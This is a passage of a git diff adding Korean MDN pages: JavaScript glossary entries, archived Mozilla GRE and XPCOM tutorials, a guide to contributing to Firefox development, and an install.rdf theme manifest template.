어떤 숫자 배열의 각 항목에 붙어 있는데 그것을 숫자 인덱스라고 부른다. 숫자 인덱스는 항목에 접근하게 해준다. 자바스크립에서 배열은 인덱스 0 (zero) 에서 시작하고 여러  {{Glossary("Method", "methods")}} 로 조작될 수 있다. 

+ +

자바에서 배열은 아래와 같이 보인다:

+ +
var myArray = [1, 2, 3, 4];
+var catNamesArray = ["Jacqueline", "Sophia", "Autumn"];
+//자바스크립트에서 배열은 위에서 보는 바와 같아ㅣ 여러 데이터 유형을 가질 수 있다. 
+ +

더 알아보기

+ +

General knowledge

+ + + +

Technical reference

+ + diff --git "a/files/ko/glossary/\353\266\210\353\246\260/index.html" "b/files/ko/glossary/\353\266\210\353\246\260/index.html" new file mode 100644 index 0000000000..9d63373163 --- /dev/null +++ "b/files/ko/glossary/\353\266\210\353\246\260/index.html" @@ -0,0 +1,54 @@ +--- +title: 불린 +slug: Glossary/불린 +tags: + - 데이터 타입 + - 부울 + - 불린 + - 자료 유형 + - 자바스크립트 + - 프로그래밍 언어 +translation_of: Glossary/Boolean +--- +

컴퓨터 과학에서, 불린(boolean)은 논리적인 데이터 유형이다. 불린은 참(true) 혹은 거짓(false) 값만을 가질 수 있다. 자바스크립트에서 불린 조건은 어떤 코드 부문이 실행되어야 할 지(예를 들어 if 절 안에서) 또는 어떤 코드 부문을 반복해야 할지(예를 들어 for 문 안에서) 결정하는 데 쓰인다.

+ +

아래는 불린이 쓰일 수 있는 예시를 보여주는 유사코드이다(실행 가능한 코드가 아니다).

+ +
***JavaScript if Statement***
+if(boolean conditional) {
+   //coding
+}
+
+if(true) {
+  console.log("boolean conditional resolved to true");
+} else {
+    console.log("boolean conditional resolved to false");
+  }
+
+
+
+***JavaScript for Loop***
+for(control variable; boolean conditional; counter) {
+  //coding
+}
+
+for(var i=0; i<4; i++) {
+  console.log("I print only when the boolean conditional is true");
+}
+ +

불린(Boolean)이란 이름은 기호 논리학 분야의 선구자인 영국 수학자 {{interwiki("wikipedia", "조지 불")}}의 이름을 따 만들어졌다.

+ +

더 알아보기

+ +

일반적인 지식

+ + + +

참고문헌

+ + diff --git "a/files/ko/glossary/\353\270\214\353\235\274\354\232\260\354\240\200-\354\273\250\355\205\215\354\212\244\355\212\270/index.html" "b/files/ko/glossary/\353\270\214\353\235\274\354\232\260\354\240\200-\354\273\250\355\205\215\354\212\244\355\212\270/index.html" new file mode 100644 index 0000000000..e4d5fab662 --- /dev/null +++ "b/files/ko/glossary/\353\270\214\353\235\274\354\232\260\354\240\200-\354\273\250\355\205\215\354\212\244\355\212\270/index.html" @@ -0,0 +1,24 @@ +--- +title: 브라우징 맥락 +slug: Glossary/브라우저-컨텍스트 +tags: + - CodingScripting + - Glossary +translation_of: Glossary/Browsing_context +--- +
{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
+ +

브라우징 맥락은 {{glossary("browser", "브라우저")}}가 {{domxref("Document")}}를 표시하는 환경을 말합니다. 오늘날에는 보통 탭이지만, 브라우저 창이나 페이지 내의 프레임도 가능합니다.

+ +

각 브라우징 맥락은 특정 {{glossary("origin", "출처")}}, 활성화된 문서의 출처, 그리고 표시했던 모든 문서의 방문 기록을 가집니다.

+ +

브라우징 맥락 간 통신은 엄격히 제한됩니다. 같은 출처를 가진 맥락끼리는 {{domxref("BroadcastChannel")}}을 열어 사용할 수 있습니다.

+ +

더 알아보기

+ +

기술 참조

+ + diff --git "a/files/ko/glossary/\354\212\244\354\275\224\355\224\204/index.html" "b/files/ko/glossary/\354\212\244\354\275\224\355\224\204/index.html" new file mode 100644 index 0000000000..259cc6b9f4 --- /dev/null +++ "b/files/ko/glossary/\354\212\244\354\275\224\355\224\204/index.html" @@ -0,0 +1,39 @@ +--- +title: 스코프 +slug: Glossary/스코프 +translation_of: Glossary/Scope +--- +

현재 실행되는 컨텍스트를 말한다. 여기서 컨텍스트는  {{glossary("값","값")}}과 표현식 "표현"되거나 참조 될 수 있음을 의미한다. 만약 {{glossary("변수")}} 또는 다른 표현식이 "해당 스코프"내에 있지 않다면 사용할 수 없다. 스코프는 또한 계층적인 구조를 가지기 때문에 하위 스코프는 상위 스코프에 접근할 수 있지만 반대는 불가하다.

+ +

{{glossary("함수")}} {{glossary("자바스크립트")}}에서 클로저 역할을 하기 때문에 스코프를 생성하므로 함수 내에 정의된 변수는 외부 함수나 다른 함수 내에서는 접근 할 수 없다. 예를 들어 다음과 같은 상황은 유효하지 않다.

+ +
function exampleFunction() {
+    var x = "declared inside function";
+    // x는 오직 exampleFunction 내부에서만 사용 가능.
+    console.log("Inside function");
+    console.log(x);
+}
+
+console.log(x);  // 에러 발생
+ +

그러나 다음과 같은 코드는 변수가 함수 외부의 전역에서 선언되었기 때문에 유효하다. 

+ +
var x = "declared outside function";
+
+exampleFunction();
+
+function exampleFunction() {
+    console.log("Inside function");
+    console.log(x);
+}
+
+console.log("Outside function");
+console.log(x);
+ +

Learn more

+ +

General knowledge

+ + diff --git "a/files/ko/glossary/\354\213\235\353\263\204\354\236\220/index.html" "b/files/ko/glossary/\354\213\235\353\263\204\354\236\220/index.html" new file mode 100644 index 0000000000..f306315b66 --- /dev/null +++ "b/files/ko/glossary/\354\213\235\353\263\204\354\236\220/index.html" @@ -0,0 +1,21 @@ +--- +title: 식별자 +slug: Glossary/식별자 +tags: + - Beginner + - Glossary +translation_of: Glossary/Identifier +--- +

식별자는 코드 내의 {{glossary("variable", "변수")}}, {{glossary("function", "함수")}}, 혹은 {{glossary("property", "속성")}}을 식별하는 문자열입니다.

+ +

{{glossary("JavaScript")}}의 식별자는 대소문자를 구별하며 {{glossary("Unicode", "유니코드")}} 글자, $, _, 숫자(0-9)로 구성할 수 있지만, 숫자로 시작할 수는 없습니다.

+ +

식별자는 코드의 일부이지만 문자열은 데이터이기 때문에, 식별자와 문자열은 다릅니다. JavaScript에서 식별자를 문자열로 변환하는 방법은 없지만, 어떤 경우 문자열을 분석해 식별자로 사용할 수 있습니다.

+ +

더 알아보기

+ +

일반 지식

+ + diff --git "a/files/ko/glossary/\354\240\204\354\206\241_\354\240\234\354\226\264_\355\224\204\353\241\234\355\206\240\354\275\234_(tcp)/index.html" "b/files/ko/glossary/\354\240\204\354\206\241_\354\240\234\354\226\264_\355\224\204\353\241\234\355\206\240\354\275\234_(tcp)/index.html" new file mode 100644 index 0000000000..6644b8772c --- /dev/null +++ "b/files/ko/glossary/\354\240\204\354\206\241_\354\240\234\354\226\264_\355\224\204\353\241\234\355\206\240\354\275\234_(tcp)/index.html" @@ -0,0 +1,21 @@ +--- +title: 전송 제어 프로토콜 +slug: Glossary/전송_제어_프로토콜_(TCP) +tags: + - 전송 제어 프로토콜 +translation_of: Glossary/Transmission_Control_Protocol_(TCP) +--- +

TCP (Transmission Control Protocol)는 IP 네트워크의 두 컴퓨터 간의 연결 지향 통신을 위한 전송 계층 호스트 간 프로토콜입니다. TCP는 가상 포트를 사용하여 두 컴퓨터 간의 물리적 연결을 재사용 할 수 있는 가상 종단 간 연결을 만듭니다. TCP는 {{glossary ( 'HTTP')}} 및 {{glossary ( 'SMTP')}} (email)과 같은 상위 레벨 프로토콜 데이터를 캡슐화합니다.

+ +

TCP 핸드 셰이크

+ +

TCP 3 방향 핸드 셰이크는 TCP-핸드셰이크라고 불립니다, 3개의 메시지 핸드 셰이크 및 / 또는 SYN-SYN-ACK라고도 하는 TCP 3 방향 핸드 셰이크는 TCP가 IP 기반 네트워크를 통해 TCP / IP 연결을 설정하는 데 사용하는 방법입니다. TCP 세션을 신뢰하기 위해 TCP에 의해 전송된 세 가지 메시지는 SYN, SYN-ACK,  SYNchronize를 위한 ACK는 SYNchronize-ACKnowledgement 와 ACKnowledge의 별칭입니다. 세 가지 메시지 메커니즘은 정보를 앞뒤로 전달하려는 두 컴퓨터 용으로 설계되었으며 HTTP 브라우저 요청과 같은 데이터를 전송하기 전에 연결 매개 변수를 신뢰할 수 있습니다.

+ +

See also

+ + diff --git "a/files/ko/glossary/\354\272\220\354\213\234/index.html" "b/files/ko/glossary/\354\272\220\354\213\234/index.html" new file mode 100644 index 0000000000..6d45b6772c --- /dev/null +++ "b/files/ko/glossary/\354\272\220\354\213\234/index.html" @@ -0,0 +1,14 @@ +--- +title: 캐시 +slug: Glossary/캐시 +translation_of: Glossary/Cache +--- +

캐시 (웹 캐시 또는 HTTP 캐시)는 HTTP 응답들(responses)을 일시적으로 저장하는 곳입니다. 이를 통해 그 다음 HTTP 요청들(requests)에서 특정 조건이 만족될 때까지 캐시에 저장한 리소스를 사용할 수 있습니다. 

+ +

Learn More

+ +

General knowledge

+ + diff --git a/files/ko/gre/index.html b/files/ko/gre/index.html new file mode 100644 index 0000000000..51af0008eb --- /dev/null +++ b/files/ko/gre/index.html @@ -0,0 +1,35 @@ +--- +title: GRE +slug: GRE +translation_of: Archive/Mozilla/GRE +--- +

GRE (Gecko Runtime Environment)는 Mozilla 기술을 내장하기 위한 framework입니다. 이 내장된 framework은 application이 호환되는 Gecko runtime에서 수행될 수 있도록 하고, 실행 이전에 미리 Gecko runtime이 어디에 설치되어야 하는지를 알 필요가 없도록 해줍니다. 이 문서에는 Gecko runtime을 내장하기 위해 GRE를 어떻게 동적으로 연결해야 하는지에 대해 소개합니다. 어떻게 GRE들을 등록하는지를 이해하기 위해서는 GRE Registration을 참조하시기 바랍니다.

+

XRE (XUL Runtime Environment) 프로젝트는 XULRunner로 대체되어 왔습니다.

+

 

+

Mozilla Suite: the old GRE

+

GRE에는 두 가지 다른 형식이 있습니다: "오래된" GRE는 Mozilla application의 한 부분이었고, Mozilla 1.4 부터 1.7.x 버젼에 포함되어 Windows 설치시에 포함되어 설치 되었습니다. 그러나, Linux를 위해 공식적으로 제공된 GRE는 없습니다. 그렇지만, Linux의 경우에는 Red Hat 같은 다양한 Linux 배포자 들이 마치 GRE인 것처럼 포장하여 Mozilla installation을 등록해 왔습니다. Mozilla 패키지에는 Mac에서 수행되는 GRE를 제공한 적은 없습니다. 

+

XULRunner: the new GRE

+

XULRunner는 자체로 GRE를 내장시키는 기능 뿐만 아니라 Firefox 같은 전체 XUL application을 시동시키는 기능도 포함하고 있습니다. XULRunner는 모든 3개의 주요 platform (Windows, Mac과 Linux)에 포함될 수 있도록 지원했거나 지원할 계획입니다.

+

Application code로부터 GRE를 찾고 사용하는 방법

+

xpcom.dll을 직접 link하여 사용하는 것으로 피하세요.

+

만약 application이 GRE를 사용하기 원한다면, 올바른 library들을 연결하는 작업을 주의깊게 해야 합니다. 만약 application에서 xpcom.dll/libxpcom.so (xpcom.lib import lib)을 직접 link로 연결했을 경우, 이 경우 application의 실행 PATH에 xpcom.dll이 없다면 application은 실행되지 않을 것입니다. 이런 경우에는 실행 시점에 application과 호환되는 GRE를 동적으로 찾는 작업을 어렵게 만들 수 있습니다.

+

호환되는 GRE를 찾는 방법

+
+

{{ gecko_callout_heading("6.0") }}

+

Support for locating a standalone glue was removed in Gecko 6.0 {{ geckoRelease("6.0") }}.

+
+

호환되는 GRE를 찾기 위해서는, GRE_GetGREPathWithProperties() ( {{ Source("xpcom/glue/standalone/nsXPCOMGlue.h") }}안에 선언된)함수를 반드시 사용해야 합니다. 이 방법은 embedder가 GRE의 어떤 version이 가장 적절한지를 명시할 수 있도록 해주고, GRE가 반드시 가져야만 하는 특별한 특징들 또한 명시할 수 있도록 해 줍니다. (현재 GRE에서 명시된 특별한 특징들은 없습니다.)

+ +

해결책은 xpcomglue.lib에 정적으로 link를 거는 방법이고, 이 방법은 "독립적인 glue" (XPCOM Glue 참조)로 알려져 있습니다. 이 library는 내장되는 code와 XPCOM 사이에 간접적인 계층을 제공합니다. XPCOM glue를 사용하기 위해서는 이어지는 단계들을 면밀히 따라야 합니다.

+ +

독립적인 라이브러리들과 환경 변수들

+

XULRunner GRE는 embedder가 XPCOMGlueStartup()함수를 호출하기 전에 PATH 나 LD_LIBRARY_PATH 같은 환경 변수들을 설정할 필요가 없도록 설계되었습니다. 왜냐하면 XULRunner GRE는 독립적인 library들을 동적으로 적재할 수 있기 때문입니다. 운나쁘게도, 특별히 Linux에서는 특별한 작업을 더 해야 합니다. Embedder들은 LD_LIBRARY_PATH 환경 변수를 설정할 필요가 있고, 올바르게 GRE를 내장하기 위해서는 새로운 프로세스를 시작해야 합니다.

+

{{ languages( { "ja": "ja/GRE", "zh-cn": "cn/GRE" } ) }}

diff --git a/files/ko/hacking_firefox/index.html b/files/ko/hacking_firefox/index.html new file mode 100644 index 0000000000..6933186a58 --- /dev/null +++ b/files/ko/hacking_firefox/index.html @@ -0,0 +1,30 @@ +--- +title: Hacking Firefox +slug: Hacking_Firefox +tags: + - Developing Mozilla +--- +

만일 여러분이 `C++ 의 신` 정도의 능력이 있으시다면, 이 부분을 보실 필요가 없을 것입니다. 심지어 (좀 심하게 말하자면) front-end를 해킹하는 것은 여러분이 봐야할 적당한 페이지가 아닙니다만, 우리는 항상 더 많은 사람들이 리뷰하고, 코드를 작성하는 것을 도와줄 것이 필요합니다 building up the platform. Front-end를 해킹하는 것은 코딩 기술 뿐만 아니라 사용자 인터페이스에 대한 직감과 더불어 비판에 잘 견딜 수 있어야 합니다. 여하튼, front-end를 찔러보는 건 상대적으로 쉬운 일입니다. C++/JavaScript/XML 에 대한 기본을 충분히 알고 있다면, XPCOM이나 그 관련된 것에 대하여 샅샅히 알고 있지 않더라도 시작하는데는 충분합니다. 자! 이제, 중요한 것부터 시작합니다.

+

 

+

기본에서부터 시작하기

+

해킹을 시작하기 전에 우선 Bugzilla에 대하여 알아야 할 필요가 있습니다. 다른 사람에게 "나는 firefox를 해킹하고 싶다"고 이야기하는 것 이전에 선별/QA/버그찾기를 위하여 몇주 혹은 그 이상의 기간을 보낼줄 아는 것은 최소한 할수 있어야 합니다. 프로젝트가 어떻게 수행되는지 알아보는 것, 어떤 것에 대하여 선별하는지 배우는 것, 그리고 이 과정에서 배운 것들을 초기 선별 과정에 적용시키는 것은 검토와 체크인을 통하여 여러분의 방법을 찾는데 크게 도움을 줍니다. 여러분께서 닥치는대로 어떤 부분을 선택하여 작업을 시작하는 것은 일반적으로 최선의 선택은 아닐 것입니다. 어떤 부분이 잘 갖추어져 있는지, 어떤 부분이 추가적으로 필요한지 잘 살펴보시는 것이 해킹을 시작하는데 있어서 좋은 시작이 될 것입니다.

+

Fox 빌드하기

+

기존에 잘 쓰여진 것을 개작할 수도 있겠지만, 그것보다는 일반적인 절차here를 따라 CVS trunk를 사용하고, 새로운 빌드를 받는 것에서 부터 시작하십시요. 다음 단계를 시도하기 전에 이러한 작업은 할 수 있어야 합니다. 물론, Mozilla CVS에서 어떤것을 빌드하는 것이 아주 녹녹하지만은 않지만, 도움을 받아도 이러한 일을 해결할 수 없다면 아직 준비가 덜 되었다는 뜻이겠지요. "아무것도 컴파일하지 않음"에서부터 "Win32에서의 빌드"까지 한시간 정도면 끝낼수 있습니다.

+

소스 코드의 구조

+

자! 다음 질문은 "어디에 프로그램과 front-end 코드가 있나요?" 입니다. Firefox의 관련 코드는 여기에 있으며, 일반적인 front-end toolkit은 여기에 있습니다. (여러분의 CVS tree에서 이것은 각각 mozilla/browsermozilla/toolkit 입니다.)

+

문서 파일 형식

+

어떤 프로그래머들은 UTF-8 Byte Order Marker (BOM)를 기본적으로 파일 앞부분에 삽입합니다. 이 UTF-8 문자(0xEF 0xBB 0xBF)는 모질라 프로제특에 사용되는 다양한 도구에 영향을 끼칠 수 있습니다. 따라서 BOM이 파일에 저장되지 않도록 주의해주십시오.

+

만약 파일에 이미 BOM 문자가 들어가있다면 그것을 제거해야합니다. 제거 작업은 문서 편집기나 다음과 같은 스크립트를 사용할 수 있습니다.

+
# nukebom.pl
+$INC{ "bytes.pm" }++ if $] < 5.006;
+use bytes;
+
+s/^\xEF\xBB\xBF//s;
+
+

이 스크립트를 다음과 같이 실행하면 됩니다: perl -pi nukebom.pl 파일명.

+

작업할 버그들을 선택하기

+

어떤일을 할 것을 할 것인지는 일종의 선택의 문제입니다. 종종 아주 단순한 것에서 버그가 발견될 수도 있으며, 만일 쉽게 해결할 수 있는 문제라면 그것을 먼저하십시요. 대부분의 경우에 처음으로 버그를 잡으시려고 할때는 "good first bug(새로운 개발자가 수정하기 용이한 버그들)"라고 적혀 있는 버그들 부터 선택하시는 것이 좋습니다. 물론, 여러분을 짜증나게 하는 버그가 있다면 그것부터 시작하는 것도 좋습니다. 개인적인 만족감을 많이 얻을 수 있을테니까요.

+

도움을 얻을 수 있는 곳

+

많은 개발자들이 있는 Mozilla IRC server는 여러분께서 어떤 문제를 풀어내지 못할때 조언을 받을 수 있는 좋은 장소입니다. 하지만, 다른 사람을 귀찮게 하기전에 우선 다른 좋은 장소들(lxr/bonsai/Google (그리고, 이 위키페이지))에서 답을 얻기 위해서 최선을 다하십시요. 만일 "UI가 어떤식으로 보이나요?"와 같은 질문이라면 Mike Connor나 Firefox peer에 물어보는 것이 가장 좋을 것이며, 이건 여러분의 사례를 같이 논의할 준비가 되었다는 것이겠습니다.

+

사용자 경험을 변경하기

+

만일 여러분이 개선 요청이 있는 기능을 구현하려고 하거나, 사용자들에게 영향을 마칠만한 동작을 바꾸려고 할때, 이를 시작하기 전에 여기에 대한 피드백을 받아보는 것이 모든 이해 관계자들에게 있어서 가장 좋을 것입니다. Ben Goodger, Mike Connor, 또는 Firefox peers의 누군가에게 여기에 대하여 말하고, 응답 또는 조정을 받도록 하십시요. 만일 그들이 여러분이 작업할 부분에 대한 허가를 하지 않는다면, (예전에 리뷰-에 대한 보여야 하는 적절한 반응을 따르지 않았던 사람들에 비추어 보았을때) 여러분은 많은 스트레스와 울분으로부터 구원받은 것입니다.

diff --git a/files/ko/how_to_build_an_xpcom_component_in_javascript/index.html b/files/ko/how_to_build_an_xpcom_component_in_javascript/index.html new file mode 100644 index 0000000000..a2f6f18b0c --- /dev/null +++ b/files/ko/how_to_build_an_xpcom_component_in_javascript/index.html @@ -0,0 +1,192 @@ +--- +title: How to Build an XPCOM Component in Javascript +slug: How_to_Build_an_XPCOM_Component_in_Javascript +tags: + - Add-ons + - Extensions + - XPCOM +--- +

+

본 문서는 자바스크립트에서 XPCOM 컴포넌트를 만드는 방법을 소개합니다. 이 문서에서는 XPCOM이 어떻게 움직이는지 혹은 그에 대한 코드는 다루지 않습니다. 자세한 사항은 XPCOM에서 아실 수 있습니다. 여기서는 실제로 이를 어떻게 움직이게하는 가에 달려 있습니다. +


+

+

구현 방법

+

아래 예제는 "Hello World!"라는 메시지를 표시하는 간단한 방법입니다. +This example component will expose a single method, which returns the string "Hello World!". +

+

인터페이스 재정의

+

If you want to use your component from JavaScript, or in other XPCOM components, you must define the interfaces that you want exposed (if you want to use your component only from JavaScript, you can use the wrappedJSObject trick so that you don't need to generate an interface as described here). +

There are many interfaces already defined in Mozilla applications, so you may not need to define a new one. You can browse existing XPCOM interfaces at various locations in the Mozilla source code, or using XPCOMViewer, a GUI for browsing registered interfaces and components. You can download an old version of XPCOMViewer that works with Firefox 1.5 from mozdev mirrors. +

If an interface exists that meets your needs, then you do not need to write an IDL, or compile a typelib, and may skip to the next section. +

If you don't find a suitable pre-existing interface, then you must define your own. XPCOM uses a dialect of IDL to define interfaces, called XPIDL. Here's the XPIDL definition for our HelloWorld component: +

HelloWorld.idl +

+
#include "nsISupports.idl"
+
+[scriptable, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)]
+interface nsIHelloWorld : nsISupports
+{
+  string hello();
+};
+
+

Note that you must generate a new UUID for each XPCOM component that you create. See Generating GUIDs for more information. +

+

Compiling the Typelib

+

Your interface definition must be compiled into a binary format (XPT) in order to be registered and used within Mozilla applications. The compilation can be done using the Gecko SDK. You can learn how to get Mac, Linux, and Windows versions of the Gecko SDK by reading the article Gecko SDK. +

+
Note: On Windows if you download the Gecko SDK without the whole build tree, you will be missing some required DLLs for xpidl.exe and it will run with no errors but not do anything. To fix this download the Mozilla build tools for Windows and copy the DLLs from <tt>windows\bin\x86</tt> within the zip into the <tt>bin</tt> directory of the Gecko SDK.
+
Note: The Mac version of the SDK provided for download is PowerPC-only. If you need an Intel version, you'll need to compile it yourself as described on that page.
+

Execute this command to compile the typelib. Here, <tt>{sdk_dir}</tt> is the directory in which you unpacked the Gecko SDK. +

+
{sdk_dir}/bin/xpidl -m typelib -w -v -I {sdk_dir}/idl -e HelloWorld.xpt HelloWorld.idl
+
+


+

+
Note: On Windows you must use forward slashes for the include path.
+

(The -I flag is an uppercase i, not a lowercase L.) This will create the typelib file HelloWorld.xpt in the current working directory. +

+

Creating the Component

+

HelloWorld.js +

+
/***********************************************************
+constants
+***********************************************************/
+
+// reference to the interface defined in nsIHelloWorld.idl
+const nsIHelloWorld = Components.interfaces.nsIHelloWorld;
+
+// reference to the required base interface that all components must support
+const nsISupports = Components.interfaces.nsISupports;
+
+// UUID uniquely identifying our component
+// You can get from: http://kruithof.xs4all.nl/uuid/uuidgen here
+const CLASS_ID = Components.ID("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx}");
+
+// description
+const CLASS_NAME = "My Hello World Javascript XPCOM Component";
+
+// textual unique identifier
+const CONTRACT_ID = "@dietrich.ganx4.com/helloworld;1";
+
+/***********************************************************
+class definition
+***********************************************************/
+
+//class constructor
+function HelloWorld() {
+};
+
+// class definition
+HelloWorld.prototype = {
+
+  // define the function we want to expose in our interface
+  hello: function() {
+      return "Hello World!";
+  },
+
+  QueryInterface: function(aIID)
+  {
+    if (!aIID.equals(nsIHelloWorld) &&
+        !aIID.equals(nsISupports))
+      throw Components.results.NS_ERROR_NO_INTERFACE;
+    return this;
+  }
+};
+
+/***********************************************************
+class factory
+
+This object is a member of the global-scope Components.classes.
+It is keyed off of the contract ID. Eg:
+
+myHelloWorld = Components.classes["@dietrich.ganx4.com/helloworld;1"].
+                          createInstance(Components.interfaces.nsIHelloWorld);
+
+***********************************************************/
+var HelloWorldFactory = {
+  createInstance: function (aOuter, aIID)
+  {
+    if (aOuter != null)
+      throw Components.results.NS_ERROR_NO_AGGREGATION;
+    return (new HelloWorld()).QueryInterface(aIID);
+  }
+};
+
+/***********************************************************
+module definition (xpcom registration)
+***********************************************************/
+var HelloWorldModule = {
+  registerSelf: function(aCompMgr, aFileSpec, aLocation, aType)
+  {
+    aCompMgr = aCompMgr.
+        QueryInterface(Components.interfaces.nsIComponentRegistrar);
+    aCompMgr.registerFactoryLocation(CLASS_ID, CLASS_NAME,
+        CONTRACT_ID, aFileSpec, aLocation, aType);
+  },
+
+  unregisterSelf: function(aCompMgr, aLocation, aType)
+  {
+    aCompMgr = aCompMgr.
+        QueryInterface(Components.interfaces.nsIComponentRegistrar);
+    aCompMgr.unregisterFactoryLocation(CLASS_ID, aLocation);
+  },
+
+  getClassObject: function(aCompMgr, aCID, aIID)
+  {
+    if (!aIID.equals(Components.interfaces.nsIFactory))
+      throw Components.results.NS_ERROR_NOT_IMPLEMENTED;
+
+    if (aCID.equals(CLASS_ID))
+      return HelloWorldFactory;
+
+    throw Components.results.NS_ERROR_NO_INTERFACE;
+  },
+
+  canUnload: function(aCompMgr) { return true; }
+};
+
+/***********************************************************
+module initialization
+
+When the application registers the component, this function
+is called.
+***********************************************************/
+function NSGetModule(aCompMgr, aFileSpec) { return HelloWorldModule; }
+
+
+

Installation

+

For extensions:

+
  1. Copy HelloWorld.js and HelloWorld.xpt to {extensiondir}/components/ +
  2. Delete compreg.dat and xpti.dat from your profile directory. +
  3. Restart application +
+

For Firefox

+
  1. Copy HelloWorld.js and HelloWorld.xpt to the {objdir}/dist/bin/components directory, if running from the source. +
  2. Delete compreg.dat and xpti.dat from the components directory. +
  3. Delete compreg.dat and xpti.dat from your profile directory. +
  4. Restart application +
+

Using Your Component

+
try {
+        // this is needed to generally allow usage of components in javascript
+        netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
+
+        var myComponent = Components.classes['@dietrich.ganx4.com/helloworld;1']
+                                    .createInstance(Components.interfaces.nsIHelloWorld);
+
+        alert(myComponent.hello());
+} catch (anError) {
+        dump("ERROR: " + anError);
+}
+
+

Other resources

+ +{{ languages( { "en": "en/How_to_Build_an_XPCOM_Component_in_Javascript", "ja": "ja/How_to_Build_an_XPCOM_Component_in_Javascript" } ) }} diff --git a/files/ko/install.rdf/index.html b/files/ko/install.rdf/index.html new file mode 100644 index 0000000000..1734e7799f --- /dev/null +++ b/files/ko/install.rdf/index.html @@ -0,0 +1,40 @@ +--- +title: install.rdf +slug: install.rdf +translation_of: Archive/Mozilla/Creating_a_Skin_for_SeaMonkey_2.x/install.rdf +--- +

Copy the following text and paste it into a text file, then save that file as "install.rdf":

+ +
<?xml version="1.0"?>
+
+<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#">
+
+  <Description about="urn:mozilla:install-manifest">
+    <em:id>author@oftheme.com</em:id>
+    <em:version>2.0b1</em:version>
+
+    <!-- SeaMonkey -->
+    <em:targetApplication>
+      <Description>
+        <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id>
+        <em:minVersion>2.0b1pre</em:minVersion>
+        <em:maxVersion>2.0b2pre</em:maxVersion>
+      </Description>
+    </em:targetApplication>
+
+    <!-- Front End MetaData -->
+    <em:name>My_Theme</em:name>
+    <em:description>My first theme</em:description>
+
+    <!-- Front End Integration Hooks (used by Theme Manager)-->
+    <em:creator>John Johnson</em:creator>
+    <em:contributor>John Johnson</em:contributor>
+    <em:homepageURL>https://mycoolskin.com/</em:homepageURL>
+
+    <em:updateURL>https://mycoolskin.com/</em:updateURL>
+    <em:aboutURL>https://mycoolskin.com/</em:aboutURL>
+    <em:internalName>My_Theme</em:internalName>
+  </Description>
+</RDF>
+
diff --git a/files/ko/interfacing_with_the_xpcom_cycle_collector/index.html b/files/ko/interfacing_with_the_xpcom_cycle_collector/index.html new file mode 100644 index 0000000000..6958c619fe --- /dev/null +++ b/files/ko/interfacing_with_the_xpcom_cycle_collector/index.html @@ -0,0 +1,57 @@ +--- +title: Interfacing with the XPCOM cycle collector +slug: Interfacing_with_the_XPCOM_cycle_collector +tags: + - Firefox 3 + - XPCOM +translation_of: Mozilla/Tech/XPCOM/Interfacing_with_the_XPCOM_cycle_collector +--- +

이 글은 Firefox 에서 XPCOM에 도입된 순환 수집기(cycle collector)에 대한 빠른 개요이며, XPCOM 순환 콜렉션에 참여하도록 기존 C++ 클래스를 수정하는데 필요한 절차를 포함합니다. 여러분이 생각하기에 순환 소유권(cyclical-ownership) 누출에 영향을 미치는 클래스가 있다면, 이 페이지는 여러분을 위한 것입니다.

+

대상 독자는 Mozilla C++ 개발자입니다.

+

순환 수집기가 하는 일

+

순환 수집기는 대부분의 시간을 가비지(garbage) 순환에 + + 영향을 미칠 수도 있는 + XPCOM 개체에 대한 포인터를 모으는데(그리고 버리는데) 보냅니다. 이는 수집기 작업의 유휴 단계로서 여기에서는 <tt>nsAutoRefCnt</tt>의 특별한 변형이 "의심스러운" refcount 이벤트(0이 아닌 N에 대하여 N+1부터 N까지)를 전달하면서 자신을 재빠르게 수집기에 등록하고 등록 해제하기를 반복합니다.

+

수집기는 주기적으로 깨어 나서 버퍼에 계속 있었던 의심스러운 포인터를 검사합니다. 이는 수집기 동작의 검사 단계입니다. 이 단계에서 수집기는 반복적으로 각 후보자에게 싱글톤(singleton) 순환 수집 도우미 클래스를 요청하고, 만약 도우미 클래스가 존재하면 수집기는 후보자의 (소유한) 자식에 대한 설명을 요청합니다. 이러한 방법으로 수집기는 의심스러운 개체로부터 도달 가능한 소유권 서브그래프(ownership subgraph)에 대한 그림을 작성합니다.

+

수집기가 모두 서로에게 다시 참조를 하는 개체의 그룹을 찾고 개체의 참조 카운트가 그룹 안에서 내부 포인터에 의한 것이라고 확인하면 수집기는 해당 그룹을 + + 순환 가비지 + 로 간주하여 해제하려고 시도합니다. 이는 수집기 동작의 연결 해제 단계입니다. 이 단계에서 수집기는 발견한 가비지 개체를 지나 다니며 다시 그들의 도우미 개체의 도움을 받아 도우미 개체에게 각 개체를 인접한 자식과 "연결 해제"하라고 요청합니다.

+

수집기는 JS 힙(heap)을 지나 다니는 방법도 알고 있으며 그것으로 들어오고 나가는 소유권 순환을 발견할 수 있다는 점을 참고하십시오.

+

수집기가 실패하는 경우

+

순환 수집기는 신중한 장치입니다. 그것이 가비지 순환을 수집하는데 실패하는 경우도 있습니다.

+
    +
  1. 수집기는 기본 값으로 어떠한 포인터도 의심하지 않습니다. 개체는 보통 <tt>nsAutoRefCnt</tt>가 아닌 <tt>nsCycleCollectingAutoRefCnt</tt>를 사용하여 + + 스스로 의심 + 해야 합니다.
  2. +
  3. 수집기는 <tt>nsICycleCollectionParticipant</tt>로 QI를 했을 때 도우미 개체를 반환하는 개체만 탐색합니다. 탐색 중에 알 수 없는 모서리를 만나면 그 모서리를 포기하는데, 이는 순환에 관여하는 모든 모서리가 참여해야 한다는 것을 의미하며 그렇지 않으면 순환을 발견할 수 없습니다.
  4. +
  5. 도우미 개체에 대한 <tt>Traverse</tt>와 <tt>Unlink</tt> 메소드는 마법이 아닙니다. 그것을 프로그래머가 올바르게 제공해야 하며 그렇지 않으면 수집기는 실패하게 됩니다.
  6. +
  7. 수집기는 스택(stack)에 존재하는 임시로 소유하는 포인터를 발견하는 방법을 모릅니다. 그래서 그것이 프로그램의 상단(top-loop) 근처에서만 실행한다는 사실이 중요합니다. 별도의 소유하는 포인터가 있는 경우에 고장나지는 않지만 소유되는 개체에서 발견한 참조 카운트를 설명할 수 없게 되어 순환을 수집하는데 실패하게 됩니다.
  8. +
+

여러분의 클래스를 참여시키는 방법

+

